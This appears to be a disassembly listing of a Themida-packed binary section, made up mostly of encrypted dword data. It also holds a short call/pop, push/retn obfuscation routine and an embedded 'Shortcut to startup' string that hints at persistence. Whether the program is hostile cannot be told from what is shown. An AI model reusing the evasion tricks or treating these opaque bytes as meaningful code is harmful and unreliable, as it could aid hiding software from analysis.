dd 23FD3917h, 1A610D62h, 937A801Fh, 0C2367F9Dh, 7BF05BDh
dd 0C794F209h, 0F0C17DBh, 456D7BF8h, 6ADC2377h, 89988A8Dh
dd 9058CC8Fh, 0C2C694F3h, 0CE6B4D2Dh, 6F24F55Ch, 0FB2FA2EDh
dd 0C08FF7DEh, 5B13A96Dh, 0C0E03FDEh, 4349A16Dh, 0D27C3070h
dd 6FBE2B1Eh, 0D48C35B6h, 8256566Bh, 6A67A938h, 0D2D32668h
dd 0D26CA7E2h, 4F792479h, 0D46E8C64h, 8A66F194h, 0C5439FE8h
dd 0A64F2479h, 6AF4727Ch, 0D2D32668h, 0D26CA7E2h, 4F792479h
dd 0D46E8895h, 8A66F194h, 0D29E3082h, 0E9F2926Bh, 1BA54C3h
dd 940EAB6Dh, 8B03A1E1h, 5BE169B5h, 0C053D7D6h, 0B8FDA96Dh
dd 0D176736Bh, 0F24F226Bh, 5BFEE132h, 53D70627h, 0CBED062Fh
dd 93F4226Bh, 4913E13Ah, 0D14D5672h, 7A46AE0Dh, 0CECB2D6Fh
dd 0DBA7226Fh, 0C0C8ABDEh, 0A354A16Dh, 0D2F23062h, 0D23DA664h
dd 0D257226Bh, 0D29DCA3Eh, 8F6F226Bh, 0BE2E7FA8h, 9652264Fh
dd 0D2FF264Fh, 87B1226Bh, 0F960F7A8h, 0D23EC482h, 879E486Bh
dd 0D24F2183h, 11FA026Bh, 0F6BFAB36h, 0F6ADA36Fh, 0D2F43E6Fh
dd 112F676Bh, 94B3BF9Bh, 0BCC0728Eh, 0F54F9C1Dh, 65A8206Bh
dd 356AFB2h, 0B8EF3719h, 0D11C756Bh, 0F27A226Bh, 5B62E134h
dd 539A0617h, 0C54B062Fh, 95A7226Bh, 68DEE13Ch, 0B289B09Eh
dd 0DB0E9D64h, 0C06FFFE6h, 3A6B436Dh, 0D29E2267h, 0D0EE4883h
dd 55862912h, 0A9C00412h, 2D887833h, 5A4D75BBh, 8B03A41Eh
dd 5632E2EEh, 0D29E22CDh, 0EACEDBE0h, 2926443Ch, 0D2E2A764h
dd 51E6226Bh, 0D2F42272h, 0D27A3682h, 0F1DFCA6Bh, 0CDF3E732h
dd 86741B96h, 72DECB9Ch, 3911AE8h, 0AA6844DEh, 0DDF6206Fh
dd 0D27940EFh, 0D2B12D6Bh, 0B49E226Bh, 0B2D31AEAh, 0D2FBA764h
dd 0D43B226Bh, 5DE9226Bh, 2588893Fh, 9FCF13CAh, 893B3079h
dd 3A9C5AEBh, 0D20FA764h, 1F27226Bh, 0AA52447Ah, 0DD42226Dh
dd 0D2F413EEh, 0D892426Bh, 263D226Bh, 8E27F7C4h, 3AD3F885h
dd 0D2A8CAD2h, 0F7FE226Bh, 0E8D73A10h, 0A40144A1h, 736E6C8Bh
dd 0B3627DEFh, 0D29CD882h, 1CE446Bh, 0D2194BDEh, 0B895236Ah
dd 0D101726Bh, 0F2F4226Bh, 5B22E133h, 5339062Fh, 0C99A062Fh
dd 924F226Bh, 399DE13Bh, 0E71EF8h, 0DF0023B6h, 0CEF4226Bh
dd 3270A8ECh, 728D68F9h, 9F5FE13Bh, 0A09EA7E6h, 2D5B247Eh
dd 0D2DDCBBBh, 53C0226Bh, 56945738h, 7892353Ch, 2A29D5F2h
dd 5691E2EEh, 0D24F2034h, 3AF62201h, 0D2D32268h, 8B2A7B4Bh
dd 0D6D06EE2h, 0D65E66EAh, 0D23D2272h, 0C65D732Ah, 0F3CCF589h
dd 4332AB24h, 53D53062h, 0D0D44453h, 54712D69h, 0B87A226Bh
dd 0D1D5706Bh, 0F29E226Bh, 5B15E131h, 53A3063Fh, 0C7D7062Fh
dd 90E9226Bh, 0EAEE139h, 0AAFB51DDh, 8D00446Dh, 0EA1A2D11h
dd 0B84F2269h, 0D14F706Bh, 0F2D3226Bh, 5BB3E131h, 53F0063Fh
dd 0C87E062Fh, 903D226Bh, 0D3EEE139h, 36D46E1h, 0D2ABCA7Eh
dd 0FF9E226Bh, 49FC0195h, 3025FB4Eh, 0DB939D99h, 53D226Bh
dd 0E8D939AEh, 7922FBE2h, 0D2B4CB31h, 8FE1226Bh, 0A3C30BBBh
dd 0C886DE9Ch, 0EDC1C929h, 7A6FAD84h, 0EA1F444Ch, 574042F7h
dd 0D2A7220Dh, 3A852201h, 0D2E92268h, 8C377C4Bh, 0D65E56E2h
dd 0D61966EAh, 0D29E227Ch, 58C742Dh, 0B4B76D67h, 5202DDD0h
dd 0DD012013h, 0D2F41BEEh, 8EC1446Bh, 0AABC4449h, 0DD5E226Dh
dd 0D24F0BEEh, 42C446Bh, 0D2D2AC82h, 83E9486Bh, 0D2F42183h
dd 1123026Bh, 0F671AB32h, 0F6DAA36Fh, 0D24F346Fh, 11F6636Bh
dd 0DDEA9BF3h, 0D257FADCh, 0DD8A236Ah, 57F7DCD4h, 0D42850BAh
dd 3AC92201h, 0D24F2268h, 8D647D4Bh, 0D6F75EE2h, 0D6CD66EAh
dd 0D2F4227Dh, 7DB9752Ch, 2C2ED74h, 0C197AFE0h, 12CA2479h
dd 0D25EA664h, 0EA53226Bh, 796C2D83h, 0B8F4226Bh, 0D192776Bh
dd 0F23D226Bh, 5BC3E136h, 534B0607h, 0C7A3062Fh, 97D3226Bh
dd 4178E13Eh, 0CC51B7E2h, 65752479h, 0DF800BA5h, 52983074h
dd 0DD3C2713h, 0D2A757EEh, 87D3486Bh, 0D2E92183h, 11A9026Bh
dd 0F616AB36h, 0F679A36Fh, 0D29E3B6Fh, 111A676Bh, 9E697944h
dd 3AB3E6D4h, 0D2E92260h, 0C08EEB3Eh, 0AE5DE3B6h, 0F9342438h
dd 0C0B4E7F6h, 6B29786Dh, 52C611A3h, 0DD802513h, 0D2E988EFh
dd 87F4486Bh, 0D27A2183h, 1160026Bh, 0F6F2AB36h, 0F60BA36Fh
dd 0D2A73E6Fh, 1186676Bh, 0A91B44AAh, 0B26DDFD4h, 7F7A913h
dd 523B3071h, 53F8669Ch, 0DD4AAD53h, 0D2A718EEh, 0F912A36Bh
dd 52AE0F85h, 0DD9C2413h, 0D27A08EEh, 0D234CB6Bh, 2E1D226Bh
dd 2F354035h, 0B4B37D4Dh, 2DD85AEAh, 0C26C2D4Eh, 59F4226Bh
dd 0C05947D6h, 0D200CB6Dh, 53F8226Bh, 6A0AC38Ah, 0D2A7226Bh
dd 3A842201h, 0D2E92268h, 8D377D4Bh, 0D65E5EE2h, 0D61966EAh
dd 0D29E227Fh, 8C8C752Ch, 7999E9EAh, 6F583C64h, 0D4FB3D82h
dd 0D2F43682h, 0D2FB2D6Bh, 6A3D226Bh, 0D29E226Ah, 0CC5EA7E2h
dd 59C12479h, 285872BBh, 0B8CD26E2h, 0D11C736Bh, 0F27A226Bh
dd 5B64E132h, 539A0627h, 0CF4B062Fh, 93A7226Bh, 5797E13Ah
dd 811E4C2Ah, 54B99478h, 9EBA9FE6h, 5FB0247Ch, 0D4897065h
dd 0B41A01D3h, 5722211Ch, 0F9D53078h, 0D257E3A4h, 0DD8A236Ah
dd 57F7DCD4h, 0D42850BAh, 3AC92201h, 0D24F2268h, 8D647D4Bh
dd 0F305E983h, 0CF8B58A4h, 1F1D8D09h, 6A0612h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 0FA23D5C3h, 29491A83h, 122C018Dh, 0FC00B06h, 2684h
dd 0C88B6600h, 7498589h, 0B58D0612h, 6124DB5h, 2C2D8D8Bh
dd 3B80612h, 0F000000h, 186h, 0E6FFF500h, 40CB8B66h, 2E25B501h
dd 42B70612h, 8B50C08Bh, 1215F58Dh, 0BD835906h, 6121B91h
dd 83097500h, 1217DDBDh, 19740006h, 0C08B5350h, 403B8h
dd 95858900h, 8D061222h, 14AE769Dh, 5BD3FF06h, 0DDBD8358h
dd 61217h, 53501774h, 403B8h, 95858900h, 8D061222h, 14AB179Dh
dd 5BD3FF06h, 99B58958h, 50061206h, 6AC08B59h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 0F195C355h, 20E6C1BAh, 11E8A4h, 37B80000h
dd 0AC783C37h, 0D09F935Ch, 0A0988BFBh, 0F0CCA68h, 6159DEB7h
dd 13E8h, 42A4D900h, 1EFE8E05h, 0AC131155h, 90E58669h
dd 0CD28FAA6h, 74B85BF5h, 8154F6C9h, 75B8C3h, 0F633FC00h
dd 0F1E34FFh, 48Bh, 6BBF6600h, 85095A25h, 612000Dh, 3E2FC281h
dd 0B70F75D8h, 0E8C281FFh, 667CEC8Eh, 0E1E8F181h, 23D2EA81h
dd 0A6B95276h, 52019F8Dh, 0F58D8Bh, 48F0612h, 0E58D2333h
dd 0E8061201h, 6, 34F26920h, 0BD8BF478h, 6122269h, 3EE8358h
dd 7299F781h, 664E503Dh, 812EEFB8h, 0FF8ADCFEh, 91850FFFh
dd 8BFFFFFFh, 12018D85h, 0D58D8D06h, 6A061754h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 0B9E8C353h, 1E4BE969h, 5E998h, 0B6B00000h, 89E4F51Ch
dd 1209A18Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 0BE351818h, 0BD897D1Ch, 6121691h
dd 50585C7h, 731C0612h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 73944EC3h, 85C77F0Ah
dd 6121BD9h, 0
; ---------------------------------------------------------------------------
jmp loc_59BE87
; ---------------------------------------------------------------------------
db 91h, 0A9h, 0EAh
dd 0FA049F27h, 0E3AFD2FEh
db 0A3h, 1Eh, 20h
; ---------------------------------------------------------------------------
loc_59BE87: ; CODE XREF: Themida_:0059BE74j
push dword ptr [ebp+612050Dh]
push 0
push edi
call sub_59BE98
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59BE98 proc near ; CODE XREF: Themida_:0059BE90p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_59BE98 endp
; ---------------------------------------------------------------------------
dd 59915907h, 0CD9B7D2Bh, 29E58589h, 95FF0612h, 6121B31h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0BC35040h
dd 0FE5A596Eh, 9D292D32h, 6120449h, 95FF006Ah, 61219CDh
dd 9EBC08Bh, 6FFD6D1h, 0B15A5AFDh, 712ADE68h, 4B46D4D4h
dd 557F01DCh, 525CD4C8h, 0B336398h, 2633A9A9h, 265AF198h
dd 0E42EF5Eh, 4E60338Ah, 0A5E4FFB4h, 16DAF867h, 0A3BEA08Ah
dd 20262CADh, 0A3BA7967h, 2021E4ADh, 2BAAD71Bh, 2933338Ah
dd 2633831Dh, 0D5B6C098h, 7635B1CCh, 72D6D615h, 0D963AF8Fh
dd 3403E10Dh, 2664839Eh, 23593598h, 72C61F15h, 0AB634B8Fh
dd 3167431Dh, 0B3CC039Eh, 2021B9C1h, 0A23C1493h, 26336AA1h
dd 72C6B015h, 0CE639C8Fh, 26334DAAh, 0A3BEF6D8h, 20240763h
dd 0D3B624C8h, 7635C3CCh, 542FF67h, 0E2B0338Ah, 0D3B61794h
dd 76355ACCh, 72D62315h, 0D963558Fh, 34039C0Dh, 26513D9Eh
dd 0AD666A98h, 74646474h, 2E4E11CEh, 24DA8DABh, 6633A698h
dd 260CD3DFh, 0D9C62C97h, 0EF002B67h, 0CF3B1713h, 263335B2h
dd 31B948ABh, 0AD03A718h, 0AD63E868h, 2C88005Ah, 0CF33A998h
dd 2633D49Bh, 0A57D896Fh, 0A13C3566h, 0D9CC656Ch, 7EFB4EC3h
dd 0E638EEDFh, 0D9FDD697h, 0E7B85667h, 7F6C8EC6h, 2637A851h
dd 72D08815h, 0ABBE9C8Fh, 20241B80h, 9320h, 0E7FC7800h
dd 7310271h, 0C783C8D0h, 850F4904h, 0FFFFFFF2h, 5618B58Dh
dd 8D8D0617h, 6175637h, 0E983CF2Bh, 8DC88B05h, 1756E78Dh
dd 85B58906h, 89061223h, 1209A18Dh, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 66ECEB3Dh
dd 85C7C38Bh, 6120505h, 6764h, 59650CB8h, 0D985C760h, 6121Bh
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 0EB72C355h, 8503288Bh, 612194Dh
dd 2A49B5FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 3BA990C3h, 66F1BF0Fh, 95FFF98Bh
dd 6121B31h, 13D99D89h, 6A0612h, 19CD95FFh, 0C08B0612h
dd 12C13BEBh, 1D6C4072h, 0D10567C1h, 0AA21A476h, 8CB62088h
dd 2FDAF3AEh, 61724DEAh, 0E9E98711h, 96AA6FCBh, 1A085D9Ah
dd 0F564F360h, 0FB772D9Ch, 0CCE96070h, 62104A72h, 0CC75476Ch
dd 6E85Eh, 0AD4A0000h, 42427B77h, 0A9652BBh, 0B9665A79h
dd 0C2818691h, 5F95h, 33DF8B66h, 419529C0h, 0FF06120Dh
dd 840F1034h, 8, 599D0950h, 5B06121Dh, 0D381665Eh, 0F6811D58h
dd 22A18FF6h, 1ADD9D8Bh, 0C6810612h, 6C9BD08Bh, 8413B966h
dd 2FD5C681h, 0BE9104Eh, 47000000h, 3258CEAFh, 0F919B677h
dd 0F56E521h, 683h, 818D8B00h, 8F061229h, 0B5890204h, 6120751h
dd 9798D8Bh, 0E8830612h, 91FDBB04h, 0F88173B4h, 0FFFFA124h
dd 11850Fh, 9D330000h, 6121C01h, 1EE9h, 0C27CA800h, 8948C73Bh
dd 1204B58Dh, 0FF71E906h, 0E23FFFFFh, 180A92A0h, 34A819D7h
dd 20BFAA5Eh, 33F8A3B9h, 0AE673020h, 8467A04Fh, 0C59C1DEAh
dd 0AA07241Ah, 0AF853936h, 0EA013630h, 43E96132h, 13632h
dd 995EF56Dh, 8905124Eh, 13051276h, 45013632h, 8D84F565h
dd 588F895h, 46131F57h, 29708BB1h, 1F013020h, 80179B6h
dd 0B5BC1D32h, 0EA07241Dh, 1013622h, 6F27FB8Dh, 0C115587Eh
dd 21B4A2h, 1F86712Ch, 25C8BB3Bh, 0ED5A3020h, 2013467h
dd 0E9563658h, 80013631h, 1FC26912h, 24254ABBh, 142572B3h
dd 8013626h, 40C26175h, 3DCA3B9h, 0BC8A3020h, 86132617h
dd 0BBBF50A2h, 0D08A6666h, 158239A2h, 0B3013632h, 0DE69C90h
dd 264D373Dh, 52015CCCh, 800135DAh, 835A1632h, 45DBF69h
dd 3445B736h, 8012036h, 0C7527532h, 0B9C3F8Ah, 131C8BAFh
dd 806B6E34h, 4002DE65h, 7F213632h, 6C8869F1h, 4C803216h
dd 4163216h, 55463632h, 0CECB8BF1h, 3994052Eh, 0FF07242Dh
dd 32F327D5h, 10B88B19h, 0C8823020h, 7994BD1Eh, 89072428h
dd 0F6B6393Ah, 7C49BD54h, 40013DDAh, 1B0E5332h, 7A25CE0h
dd 0FBB88436h, 525E6D63h, 2013FDBh, 0DD6D2732h, 7C1472Fh
dd 265B029Ch, 0DF370FB3h, 10FCB23Dh, 8BF93632h, 46B3FF3h
dd 202DE62h, 59213632h, 0C4886EF1h, 4803216h, 20183216h
dd 40413632h, 0F01EB4F1h, 64FC6FD9h, 0DF3BD54h, 10137BAh
dd 0E660C332h, 0EF7CF5B3h, 2FE80FB2h, 100076B7h, 5E015C32h
dd 40135DAh, 0C15F1632h, 2575BF6Ch, 0A445B736h, 40012336h
dd 0E3577032h, 43572E53h, 80138DBh, 935B8E32h, 847E9BB0h
dd 2D7E6591h, 0DE1A7AD8h, 0C59C1F69h, 0AB072402h, 0AD883773h
dd 0E132CDFh, 46BFE31h, 202DE65h, 5E213632h, 0FC8869F1h
dd 4803216h, 20163216h, 47463632h, 6FE153F1h, 0F5B63908h
dd 19C88BB9h, 0C0823020h, 0D0015C37h, 400135DAh, 0E3591632h
dd 3445BF6Ah, 2C45B736h, 4012E36h, 0C1517632h, 0D2A938D7h
dd 0CD9435D1h, 0A907243Fh, 20013623h, 97CAF7ABh, 502C1941h
dd 0DFE0979h, 7F4AD0A8h, 9138B749h, 8F8A7579h, 4001BEB7h
dd 6D94BD32h, 9D07243Ch, 1A4C83BFh, 53015C34h, 20135DAh
dd 0C25E1632h, 0A47DBF6Dh, 6445B736h, 20012236h, 0D3567132h
dd 0A5B4BDEEh, 8F072426h, 1020AF87h, 1028E34h, 806B3632h
dd 4002DE67h, 7D213632h, 7C886BF1h, 4C803216h, 41B3216h
dd 57443632h, 2EC5C9F1h, 99546086h, 0BFFABD54h, 71015CD3h
dd 100135DAh, 0CB581632h, 204DBF6Bh, 2645B736h, 1012E36h
dd 43507732h, 0E3905581h, 9D9BDF6h, 228C7BFh, 86B5734h
dd 402DE67h, 5F213632h, 6D886BF1h, 0C4803216h, 40183216h
dd 75443632h, 0CC507BF1h, 23B0C602h, 161A4FAFh, 0EBBCBB34h
dd 8C072165h, 975BC1BFh, 0C3758E34h, 0A53237A0h, 1613282Fh
dd 20C0F919h, 33F8A3B9h, 0AE673020h, 8467A04Fh, 0C59C1DEAh
dd 0AA07241Ah, 0AF853936h, 5E98330h, 0C08BA4F3h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1CC35646h, 1329BD29h
dd 8B660612h, 50006ADFh, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1B04h, 0C3504000h, 9360FAAEh, 0C1B12543h, 3259D8Bh
dd 8BF50612h, 5E8C3h, 0ABF60000h, 893E1106h, 123499BDh
dd 6E95B06h, 14000000h, 0FB6429B2h, 1DC381EFh, 0E900006Fh
dd 14h, 0B27A6978h, 23E2E81Fh, 1F6DC559h, 543B39FDh, 0A079E9F7h
dd 80B2F62Bh, 1330C8Bh, 121F7995h, 1E98106h, 8123B7CCh
dd 262FEE9h, 8589575Ah, 612181Dh, 0AFF1815Ah, 601789DCh
dd 1FF19D2Bh, 8A0F0612h, 6, 21A1B589h, 89610612h, 8D29330Ch
dd 6121E15h, 51DF8166h, 0E6EE810Ch, 895956FBh, 12115995h
dd 0E2C68106h, 575956FBh, 815A78B2h, 0FF91ACFEh, 18850FFFh
dd 89000000h, 121D1985h, 21E906h, 0A7B30000h, 0E01BD07Fh
dd 1E6CEBBDh, 0B890C9FBh, 11725EAh, 0FFFF77E9h, 319EA4FFh
dd 37662C3Bh, 0E90C3D25h, 0B0h, 0DA8C6660h, 0F04C2F6h
dd 0C85h, 0B1853B00h, 0F061203h, 3684h, 39853B00h, 0F06121Dh
dd 2A84h, 0ED853B00h, 0F061222h, 1E84h, 0F1853B00h, 0F061220h
dd 1284h, 89BD8300h, 1061205h, 5840Fh, 5FE90000h, 8B000000h
dd 3C5203D0h
dd 88BA8Bh, 4A8B0000h, 0FC98578h, 4984h, 0F8C28100h, 8B000000h
dd 0C8030C72h, 8B1C598Bh, 0D8031451h, 0C9850B8Bh, 10840Fh
dd 0CE3B0000h, 17820Fh, 0CF3B0000h, 0F830Fh, 0C3830000h
dd 850F4A04h, 0FFFFFFDCh, 0DE9h, 0B59D8D00h, 0B806124Dh
dd 5, 0C361E3FFh, 82E9D00Bh, 3D000000h, 53220ECBh, 74726F68h
dd 20747563h, 73206F74h, 74726174h, 7075h, 1Ah dup(0)
dd 0FECE900h, 15680000h, 0E906175Fh, 0FFFBED72h, 17605668h
dd 0ED68E906h, 7768FFFBh, 0E9061762h, 0FFFBED5Eh, 1762D168h
dd 0ED54E906h, 9368FFFBh, 0E9061763h, 0FFFBED4Ah, 17644368h
dd 0ED40E906h, 5A68FFFBh, 0E9061768h, 0FFFBED36h, 176B1468h
dd 0ED2CE906h, 0F068FFFBh, 0E906176Bh, 0FFFBED22h, 974F4F53h
dd 964E584Dh, 944C5A4Ch, 9048564Ah, 91495D46h, 0EBB84F21h
dd 0E6B903BBh, 0EEB600B8h, 0EBB600B8h, 0E0DBFBB3h, 96F422CAh
dd 1C9917B3h, 897A247Dh, 0F0436341h, 0D3CBD660h, 17FA071Bh
dd 0C5671026h, 1DD0BB93h, 4DF3358Dh, 0DDD94C6Ch, 0D68FC844h
dd 42E56A41h, 30000000h, 0D2C386B3h, 93C10FBCh, 0ED7D30BBh
dd 6C415395h, 0E980B4Ch, 0F7AFF47Eh, 0EA7A2C77h, 0DAED769Ah
dd 77978C88h, 6A41D6E0h, 11B94h, 6B398100h, 0FC8C128Eh
dd 0DFBC4C1Fh, 3176A328h, 64B77055h, 7A247DD1h, 634360EAh
dd 29752A72h, 0D969BC99h, 0BC4C524Fh, 7B2B79C1h, 0A5F9A828h
dd 44B332EDh, 0CCF9CE25h, 31C1E5BEh, 0E02E8154h, 0B5811D75h
dd 0CCD71A87h, 0ED6D4ADAh, 8360F0B6h, 0F3AEF8B0h, 0BAC71BABh
dd 0ABD0E6D7h, 9CBB9305h, 0F6B0F8E9h, 91A55DB0h, 876D8360h
dd 0BA4C6F06h, 8558465Ah, 2D79C1B2h, 0B90CE979h, 40560FC8h
dd 4C6F06D8h, 3987DA8Dh, 4278F8DEh, 8FD7C87Bh, 1FDA9214h
dd 0A8A85066h, 0E4C2465Bh, 796A1DC2h, 5BA8BD63h, 0AAFDB046h
dd 6F2D792Ah, 3AD8DF48h, 0A70AE27Ah, 9200000Dh, 8CD68E10h
dd 8BD58D19h, 89D38B1Bh, 85CF8717h, 60D0881Eh, 0F8AEF510h
dd 0F5A9F640h, 0F5B1F33Dh, 0F0AEF33Dh, 71D1838h, 0B396F6E1h
dd 7D59D654h, 478F8026h, 3BF34658h, 4D630180h, 0DD3B9EDh
dd 81C311F7h, 0BE9144B5h, 3BB6EB6Bh, 8C1A8B66h, 0BC4C1FFCh
dd 99540CDFh, 0EB506D1Ah, 297D5EBCh, 0C457AA7Dh, 0D2C386B3h
dd 93C10FBCh, 8C7D30BBh, 4157BDD3h, 390A4C6Ch, 6C41FD23h
dd 0EABD704Ch, 10BE8233h, 0FB4EE1DCh, 0D1D1136Bh, 0BBB74C6Ch
dd 46B1A6A6h, 15946A42h, 7547D3C9h, 0CE90E3DFh, 0DAh, 0A28D0C19h
dd 376B1C1Dh, 970A8ADDh, 0D8CE1607h, 93238321h, 90E3B6h
dd 0E9792D76h, 81B02691h, 7C48C7B5h, 0B7CFA99h, 8A1797EAh
dd 59A15C14h, 0ECC9594Dh, 16881999h, 0AE566C25h, 57B5814Bh
dd 814BDB41h, 36DB8EB5h, 2B8DCC83h, 49A2D717h, 0E11266F6h
dd 0BF783122h, 81E043A9h, 0F043F6B5h, 93E3F9A2h, 920E6EBBh
dd 0CC9F7C0Ch, 10F30014h, 1DD9091Fh, 0C55C4278h, 3CF5AB7Bh
dd 0DACB9E9Fh, 0DD951192h, 36BA322h, 9C773EE9h, 0CCDAC949h
dd 0DB90ED0Eh, 9F770F3Ah, 0C66h, 17CFCFD3h, 16CED8CDh
dd 14CCDACCh, 10C8D6CAh, 11C9DDC6h, 6B38CFA1h, 6639833Bh
dd 6E368038h, 6B368038h, 605B7B33h, 96C9A24Ah, 9C1997B3h
dd 0C5E1C40Ch, 0F5B1F272h, 0F0AEF33Dh, 247DDB38h, 4160EA7Ah
dd 0DFB2F4B0h, 7B246C27h, 63B69323h, 3829E819h, 0A983697Fh
dd 3B6B581h, 0BE06BFB0h, 1C6ABDE1h, 0BB93B763h, 969121D4h
dd 5B21C7DDh, 61144C6Ch, 0E9046FAAh, 0DF3252D0h, 6C405791h
dd 2039354Ch, 41D63324h, 7416Ah, 2F8C0000h, 90Dh, 0EC8D0C92h
dd 0C22A4056h, 77B58197h, 84500DC4h, 0DA82CEh, 90635605h
dd 3C6F33Dh, 3B33FC12h, 0B164BB93h, 940A9721h, 0CDD921DCh
dd 9B0686D9h, 82554956h, 12949AF2h, 0BFE6E52Bh, 0D8CD57E7h
dd 0CAEE3ECEh, 56522E51h, 0A940DCDh, 5990852h, 15C81D75h
dd 0D92272Bh, 2C770191h, 4560EA7Ah, 6DF4D161h, 69AFD64Bh
dd 0D28BDC45h, 151D0319h, 9D50272Bh, 2B15A94Fh, 0CB059C27h
dd 0C223456Ah, 0B7CDBE91h, 272B0151h, 7EFE5104h, 79C37B23h
dd 8EE67628h, 272B015Dh, 2445DE00h, 561D91A5h, 0EBC8584Eh
dd 31B37C34h, 0C4A13175h, 831E9EF1h, 58AB2A1Bh, 5E46E237h
dd 6CFCAAFBh, 0B169BC8Fh, 7DC077F6h, 0F6BD413Ah, 0D124F7AFh
dd 786A5051h, 39BB0205h, 62B64619h, 6B817251h, 2939C4D6h
dd 24CCE29Bh, 1939164Ch, 0BB6E1366h, 1EC94803h, 1B419805h
dd 1CEFAFF2h, 739A3FC9h, 1B7CA4BAh, 3EF13916h, 0B190A1EBh
dd 3A8807C0h, 86CBC4F8h, 0CB8CDA2Dh, 203704FFh, 0B94B2FA1h
dd 0E619703h, 49FCB669h, 47574890h, 49713F9h, 0BBE64633h
dd 91F10E3h, 330497E3h, 250A356h, 1517B72Bh, 0DACB8EBBh
dd 0E7EB1FC4h, 0D9D5013h, 1BB69312h, 0C476FF34h, 5532C2DCh
dd 0D4E52F82h, 0F5EE04F5h, 0A19F574h, 831E6657h, 0DB6B336Eh
dd 29732BFEh, 24374278h, 3A3085B1h, 0E5653866h, 7552E2BCh
dd 8A9E4A2h, 43DB554Eh, 0A456Bh, 0F0AEF400h, 0EFB7EE38h
dd 0EDB9ED37h, 0E9B5EB35h, 0EABCE731h, 57AEC232h, 58A25A4Ch
dd 559F5747h, 559F574Fh, 7A9A524Ch, 0CB83697Fh, 38B6B396h
dd 3D530CBBh, 0B581A9D7h, 22B2F4AFh, 0DD09A045h, 21205B7Ch
dd 0D858AB7Eh, 287E28C9h, 2AE8BB98h, 0C902291Dh, 0EBA77F17h
dd 4E000009h, 48924A54h, 4791495Dh, 458F475Fh, 418B435Bh
dd 1C8C4462h, 0B4F2B154h, 0B1EDB2FCh, 0B1F5AFF9h, 0ACF2AFF9h
dd 0C3D9D4F4h, 0B396CB5Dh, 7D159210h, 0A2C49624h, 72BA144Eh
dd 0C21D38BBh, 380B54A9h, 90788E47h, 0C5B58183h, 0A52FBF12h
dd 9CF0A8FEh, 874A77F7h, 0B95DD96h, 0F2080393h, 0B581830Ah
dd 66B98C3Fh, 93F85F18h, 0C98F8BBh, 26800A9Ah, 4013F080h
dd 3EA3B36Dh, 8A8ED102h, 93A99A79h, 83A3112Eh, 88DC6C1Fh
dd 0EBBBEB7Bh, 18112718h, 2D8989B3h, 6041897Ah, 3931391h
dd 0E6C35326h, 91F3132Fh, 0AF02B890h, 0E7BD05BEh, 0B5EC6CBFh
dd 0BAE731E9h, 90D726E4h, 7109E50Bh, 92999h, 0C921000h
dd 0B9B0A54h, 99D0953h, 5990751h, 6A0034Dh, 7392DE4Eh
dd 74BE7630h, 71BB732Bh, 71BB7333h, 96B66E30h, 0CA9F859Bh
dd 54D2B396h, 7A247DD7h, 624460EAh, 2C7A2971h, 430921D9h
dd 51B581AAh, 0B7706120h, 5600E8FEh, 82354A7Eh, 0F90CE12Fh
dd 0A5ED4466h, 0AD52A501h, 0E0C109FAh, 54E6C6DAh, 2F020E90h
dd 6F80BF3Eh, 8D446241h, 0E1C0F1FFh, 7D502DBDh, 4F53C1C6h
dd 52A5F743h, 0D97DF9Ah, 207F0999h, 3E11EE7Eh, 68366BEBh
dd 51554ED8h, 8C6D37C1h, 0B1576D13h, 0A44C6964h, 0B18E1EF1h
dd 13CB20DEh, 61F930EAh, 87989h, 0BCE2C000h, 0BBEBBA04h
dd 0B9EDB903h, 0B5E9B701h, 0B6F0B3FDh, 23E28EFEh, 246E2680h
dd 216B237Bh, 216B2383h, 46661E80h, 0CDCF354Bh, 482B396h
dd 7A247D87h, 5D4160EAh, 0C0597DCDh, 28D0E69Fh, 1DB581A9h
dd 0A97176Ah, 0A221DC94h, 93205D92h, 56A2F5E4h, 642F3401h
dd 55873h, 91A76000h, 0B5813E6Bh, 0D5E8FCCh, 0E58A0E18h
dd 0B34CDF32h, 8AD2C386h, 0AF556B15h, 0A2B581A9h, 0D8C91CEFh
dd 99066DC2h, 76671ABBh, 9160E0F7h, 24019115h, 0FF688D6Dh
dd 8DE60F48h, 0B6094F9Bh, 0CD247DC5h, 1E881DD4h, 0BDEB18Eh
dd 50333F53h, 234D68C0h, 0C1BDD706h, 1B880758h, 0DD529998h
dd 856EF7CCh, 0DE06B72h, 0A9E96EBAh, 4B8BE3B4h, 0D6000000h
dd 0D3C487B3h, 81A957BDh, 66570AB5h, 0A97197ADh, 31E4B581h
dd 0CEF64EDEh, 56D5E90Ch, 1245C15Ah, 3384971Dh, 0FBC647Ah
dd 0FEB16A19h, 18E9ABh, 0C340000h, 0A9D73D53h, 0D78AB581h
dd 84770A20h, 75A73F8h, 1E739h, 87B39C00h, 3254D3C4h, 6AA1BCD7h
dd 0C41CACFFh, 2EEE1691h, 8041D19h, 0DD9C2A4Fh
dd 2025h, 87B37000h, 0D8DC34C4h, 502EEE16h, 183FCF54h
dd 2DDD9C27h, 64E4BAE5h, 50126541h, 8Ah, 0C487B39Bh, 0A957BDD3h
dd 570AB581h, 1C8908FBh, 9C4E9AF3h, 54A65DB0h, 16901559h
dd 8F758B86h, 0C2B581E9h, 92148F0Fh, 0F8104102h, 25F9C79Eh
dd 0E0E77C9Eh, 0A1C65B35h, 0A204A0E8h, 1E73512h, 34B58166h
dd 75E22E81h, 0D0642EEBh, 0F5851988h, 3303C518h, 0F0000000h
dd 479EC971h, 8DE0F97Eh, 0C487B3FAh, 0A955BDD3h, 5508B581h
